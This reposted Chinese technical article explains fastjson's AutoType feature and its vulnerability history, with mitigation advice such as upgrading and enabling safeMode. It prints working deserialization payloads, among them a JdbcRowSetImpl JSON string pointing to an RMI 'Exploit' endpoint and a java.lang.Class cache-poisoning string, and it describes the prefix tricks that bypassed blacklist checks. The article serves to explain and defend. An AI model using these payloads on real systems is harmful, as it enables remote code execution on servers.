当前位置: 首页 > 科技观察

Fastjson到底做错了什么?为什么漏洞频频暴露?

时间:2023-03-16 17:58:47 科技观察

fastjson大家都很熟悉了。这是阿里巴巴开源的JSON解析库,通常用于JavaBeans和JSON字符串之间的转换。前段时间,fastjson多次被曝存在漏洞。很多文章都报道了这个事件,并给出了升级的建议。但是作为开发者,我更关心他为什么会频繁暴露漏洞?于是带着疑惑看了releaseNote和fastjson的一些源码。最后发现这其实和fastjson中的一个AutoType特性有关。从2019年7月发布的v1.2.59到2020年6月发布的v1.2.71,每次版本升级都有关于AutoType的升级。以下为fastjson官方发布说明,关于AutoType的几个重要升级:1.2.59发布,增强了开启AutoType时的安全性fastjson1.2.60发布,新增AutoType黑名单,修复拒绝服务安全问题fastjson1.2.61发布,新增AutoType安全黑名单fastjson1.2.62发布,增加AutoType黑名单,增强日期反序列化和JSONPathfastjson1.2.66发布,bug修复安全加固,安全加固,补充AutoType黑名单fastjson1.2.67发布,bug修复安全加固,补充AutoType黑名单fastjson1.2.68发布,支持GEOJSON,补充AutoType黑名单。(引入一个safeMode配置,配置safeMode后,无论白名单还是黑名单,autoType都不支持。)fastjson1.2.69发布,修复新发现的高危AutoType开关绕过安全漏洞,补充AutoType黑名单fastjson1.2.70发布,提高兼容性,补充AutoType黑名单即使在fastjson的开源库中,也有一个Isuue建议作者提供一个没有autoType的版本:?那么,什么是AutoType?为什么fastjson要引入AutoType?为什么AutoType会导致安全漏洞??本文将对其进行深入分析。AutoType的神圣之处在哪里?fastjson的主要功能是将JavaBeans序列化为JSON字符串,这样得到字符串后,可以通过数据库等方式进行持久化。但是fastjson在序列化和反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。其实对于JSON框架来说,如果你想把一个Java对象转换成字符串,你有两种选择:1.基于属性2.基于setter/getter。在我们常用的JSON序列化框架中,FastJson和jackson在将对象序列化为json字符串时,都是通过遍历类中所有的getter方法来完成的。Gson不会这样做。他通过反射遍历类中的所有属性,并将其值序列化为json。假设我们有以下Java类:;}}interfaceFruit{}classAppleimplementsFruit{privateBigDecimalprice;//省略setter/getter,toString等}当我们要序列化它的时候,fastjson会扫描getter方法,也就是找到getName和getFruit,然后会取值name和fruit这两个字段中的一个被序列化为一个JSON字符串。那么问题来了,我们上面定义的Fruit只是一个接口。fastjson在序列化时能否正确序列化属性值?如果是的话,fastjson在反序列化的时候会把fruit反序列化成什么?类型呢?让我们尝试验证一下,基于(fastjsonv1.2.68):Storestore=newStore();store.setName("Hollis");Appleapple=newApple();apple.setPrice(newBigDecimal(0.5));store.setFruit(苹果);StringjsonString=JSON.toJSONString(store);System.out.println("toJSONString:"+jsonString);上面的代码比较简单,我们创建了一个store,为它指定了一个名字,创建了一个Fruit的子类型是Apple,然后使用JSON.toJSONString序列化这个store,得到如下JSON内容:toJSONString:{"fruit":{"price":0.5},"name":"Hollis"}那么,这个水果是什么品种呢?它可以反序列化到苹果吗?让我们执行以下代码:StorenewStore=JSON.parseObject(jsonString,Store.class);System.out.println("parseObject:"+newStore);ApplenewApple=(Apple)newStore.getFruit();System.out.println("getFruit:"+newApple);执行结果如下:toJSONString:{"fruit":{"price":0.5},"name":"Hollis"}parseObject:Store{name='Hollis',fruit={}}Exceptioninthread"main"java.lang.ClassCastException:com.hollis.lab.fastjson.test.$Proxy0无法转换为com.hollis.lab.fastjson.test.Appleatcom.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)可以看出,反序列化store后,我们尝试将Fruit转为Apple,但是抛出异常。如果我们尝试直接转换为Fruit,则不会报错,如:FruitnewFruit=newStore.getFruit();System.out.println("getFruit:"+newFruit);上面的现象,我们知道,当一个类中包含接口(或者抽象类)的时候,在使用fastjson进行序列化的时候,子类型会被抹掉,只保留接口(抽象类)的类型,这样原来的类型就不能在反序列化过程中获得。那么这个问题的解决方案是什么?Fastjson引入了AutoType,在序列化时记录原始类型。使用方法是用SerializerFeature.WriteClassName来标记,即修改StringjsonString=JSON.toJSONString(store);在上面的代码中:StringjsonString=JSON.toJSONString(store,SerializerFeature.WriteClassName);那么,上述代码的输出结果如下:System.out.println("toJSONString:"+jsonString);{"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}可以看到用SerializerFeature.WriteClassName标记后,多了一个JSON字符串中的@type字段,标记类对应的原始类型,方便在反序列化时定位到具体的类型。如上,将序列化后的字符串反序列化后,可以成功得到一个Apple类型,整体输出内容:toJSONString:{"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}parseObject:Store{name='Hollis',fruit=Apple{price=0.5}}getFruit:Apple{price=0.5}这是AutoType,也是fastjson中引入AutoType的原因。不过也正是这个特性,因为在功能设计之初的安全考虑不够周全,也给后来的fastjson用户带来了无尽的痛苦。AutoType有什么问题?因为有了autoType函数,那么fastjson在对JSON字符串进行反序列化时,会读取@type到内容中,尝试将JSON内容反序列化到这个对象中,并调用这个类的setter方法。那么你就可以利用这个特性自己构造一个JSON字符串,通过@type指定你要使用的攻击库。比如黑客常用的攻击类库是com.sun.rowset.JdbcRowSetImpl,这是sun官方提供的类库。该类的dataSourceName支持传入rmi源。解析这个uri时,会支持rmi远程调用,调用指定rmi地址中的方法。而fastjson在反序列化的时候会调用目标类的setter方法,所以如果黑客在JdbcRowSetImpl的dataSourceName中设置了要执行的命令,将会导致严重的后果。如果通过下面的方式设置一个JSON字符串,就可以实现远程命令执行(在早期版本中,JdbcRowSetImpl在新版本中已经被列入黑名单){"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}这就是所谓的远程命令执行漏洞,即利用该漏洞侵入目标服务器,通过服务器执行命令。在早期的fastjson版本中(v1.2.25之前),因为AutoType是默认开启的,而且没有任何限制,可以说是裸奔。从v1.2.25开始,fastjson默认关闭autotype支持,新增checkAutotype,新增黑名单+白名单防止autotype开启。不过,也是从这个时候开始,黑客与fastjson作者的博弈开始了。由于fastjson默认关闭了autotype支持,并检查了黑白名单,因此攻击方向改为“如何绕过checkAutotype”。下面我们来详细了解一下fastjson各个版本中的漏洞和攻击原理。限于篇幅,这里不做具体的说明。如果大家有兴趣,我可以稍后单独写一篇文章来解释细节。下面的内容主要是提供一些思路,目的是说明写代码时注意安全的重要性。绕过checkAutotype,黑客与fastjson的博弈在fastjsonv1.2.41之前。在checkAutotype的代码中,会先过滤黑白名单。如果要反序列化的类不在黑白名单中,则反序列化目标类。序列化。但是在加载过程中,fastjson有一个特殊的过程,就是在加载一个class的时候,L和;className前后都会被去掉,比如lcom.lang.Thread;。?并且黑白名单是通过startWith来检测的,所以黑客只需要加上L和;他们想用来绕过黑白名单检查而不耽误fastjson正常加载的攻击库前后。例如,Lcom.sun.rowset.JdbcRowSetImpl;会先通过白名单验证,然后fastjson在加载类的时候去掉L和前后,变成com.sun.rowset.JdbcRowSetImpl。为了避免被攻击,在后来的v1.2.42版本中,在进行黑白名单检测时,fastjson首先判断目标类的类名前面是否有L和;,如果有,则拦截L和;。然后查看黑白名单。看似解决了问题,但是黑客发现这个规律后,将LL和;;双写。攻击时目标类前后,这样被拦截后仍然可以绕过检测。例如,LLcom.sun.rowset.JdbcRowSetImpl;;在v1.2.43中,fastjson在黑白名单判断前增加了是否不以LL开头的判断。如果目标类以LL开头,则直接抛出异常,暂时修复该漏洞。黑客无法通过L和;在这里,所以他们尝试从其他地方入手,因为fastjson在加载类的时候,不仅仅会处理L和;等类。特地,还特地对待【。同样的攻击方式,在目标类前面加上[,v1.2.43之前的所有版本再次倒下。所以在v1.2.44版本中,fastjson的作者提出了更严格的要求,只要目标类以[开头或者以;结尾,都会直接抛出异常。它还解决了v1.2.43和历史版本中发现的错误。在接下来的几个版本中,黑客的主要攻击手段就是绕过黑名单,而fastjson也在不断完善自己的黑名单。autoType可以在不启用的情况下被攻击吗?但好景不长。升级到v1.2.47时,黑客又找到了攻击的方法。而且这种攻击只有在autoType关闭时才有效。不开启autoType,反而会被攻击,这不奇怪吗?因为fastjson中有一个全局缓存,在加载类时,如果没有开启autotype,会先尝试从缓存中获取该类,如果缓存中存在则直接返回。黑客利用这种机制进行攻击。黑客首先想办法将一个类添加到缓存中,然后再次执行以绕过黑白名单检测。多么聪明的方法。首先,如果要将黑名单中的类添加到缓存中,需要使用不在黑名单中的类。这个类是java.lang.Classjava.lang.Class。json字符串中的val值,加载这个val对应的类。如果fastjsoncache为true,则这个val对应的class会缓存到全局缓存中。如果再次加载名为val的类,并且没有启用autotype,下一步就是尝试从全局缓存中获取这个类,然后进行攻击。因此,黑客只需要伪装攻击类,如下:{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}所以在v1.2.48中,fastjson修复这个错误。在处理Class类的MiscCodec中,将fastjson缓存设置为false,这样攻击类就不会被缓存,也不会获取到。在之后的版本中,黑客和fastjson不断绕过黑名单加入黑名单。直到后来,黑客在v1.2.68之前的版本中发现了一种新的利用方法。利用异常进行攻击在fastjson中,如果@type指定的类是Throwable的子类,那么对应的反序列化处理类就会使用ThrowableDeserializer。在ThrowableDeserializer#deserialze方法中,当有字段key也是@type时,会把这个值当作类名,然后会进行一次checkAutoType检测。并且指定expectClass为Throwable.class,但是在checkAutoType中,有这样约定,如果指定了expectClass,同样会通过验证。因为fastjson在反序列化的时候会尝试执行里面的getter方法,而Exception类中有getMessage方法。黑客只需自定义一个异常,重写其getMessage即可达到攻击目的。这个漏洞就是6月份在网上疯传的“严重漏洞”,迫使很多开发者升级到新版本。此漏洞已在v1.2.69中修复。主要修复方法是修改需要过滤掉的expectClass,新增4个类,将原来的Class类型判断改为hash判断。其实根据fastjson的官方文档,即使不升级到新版本,在v1.2.68也可以避免这个问题,也就是使用safeModeAutoType安全模式?可以看到,这些漏洞的利用几乎都围绕着AutoType。因此,在v1.2.68版本中,引入了safeMode。配置safeMode后,无论白名单还是黑名单,都不支持autoType,可以在一定程度上缓解反序列化Gadgets变体攻击。设置safeMode后,@type字段将不再生效,即在解析类似{"@type":"com.java.class"}这样的JSON字符串时,将不再反序列化对应的类。启用safeMode的方法如下:ParserConfig.getGlobalInstance().setSafeMode(true);例如本文第一个代码示例,使用上述代码开启safeMode模式,执行代码,会得到如下异常:Exceptioninthread"main"com.alibaba。fastjson.JSONException:safeModenotsupportautoType:com.hollis.lab.fastjson.test.Appleatcom.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)但值得注意的是,使用这个函数,fastjson会直接禁用autoTypefunction,即checkAutoType方法中,直接抛出异常。后记目前fastjson已经发布到v1.2.72版本,历史版本中的已知问题已经在新版本中得到修复。开发者可以将项目中使用的fastjson升级到最新版本,如果代码中不需要AutoType,可以考虑使用safeMode,但需要评估对历史代码的影响。因为fastjson定义了自己的序列化工具类,并且使用asm技术避免了反射,使用缓存,做了很多算法优化等等,大大提高了序列化和反序列化的效率。之前有网友对比过:当然,速度快也会带来一些安全问题,这一点不可否认。最后,我想说几句。fastjson虽然是阿里巴巴开源的,但据我所知,它的作者文少大部分时间都在业余时间维护。知乎上有网友表示:“文少几乎支持一个自己广泛使用的JSON库,其他库几乎都依赖一整个团队。基于此,文少作为“初心不改的阿里”的第一代开源人“当之无愧”。其实阿里内部也有很多人批评过fastjson的漏洞,但是批评过后大家多了一些理解和宽容。fastjson是目前国内比较知名的类库,并且可以说是备受关注,所以逐渐成为安全研究的重点,所以才会发现一些深层次的漏洞。正如温少自己所说:“比起发现漏洞,更糟糕的是有一个不知道被利用的漏洞。及时发现漏洞并升级版本修复是安全能力的体现。”写这篇文章的时候,我在钉钉上问文少一个问题,他秒回复,这让我很意外。因为是周末,钉钉周末都能秒回复,这说明什么?他大概是在用他的抽空维护fastjson...最后,在知道了fastjson历史上很多漏洞的原因后,其实对我自己来说,还是“比较敢用”fastjson...向fastjson致敬!向安全研究员致敬!向文老师致敬少!参考资料:https://github.com/alibaba/fastjson/releaseshttps://github.com/alibaba/fastjson/wiki/security_update_20200601https://paper.seebug.org/1192/https://mp.weixin。qq.com/s/EXnXCy5NoGIgpFjRGfL3wQhttp://www.lmxspace.com/2019/06/29/FastJson-反序列化学习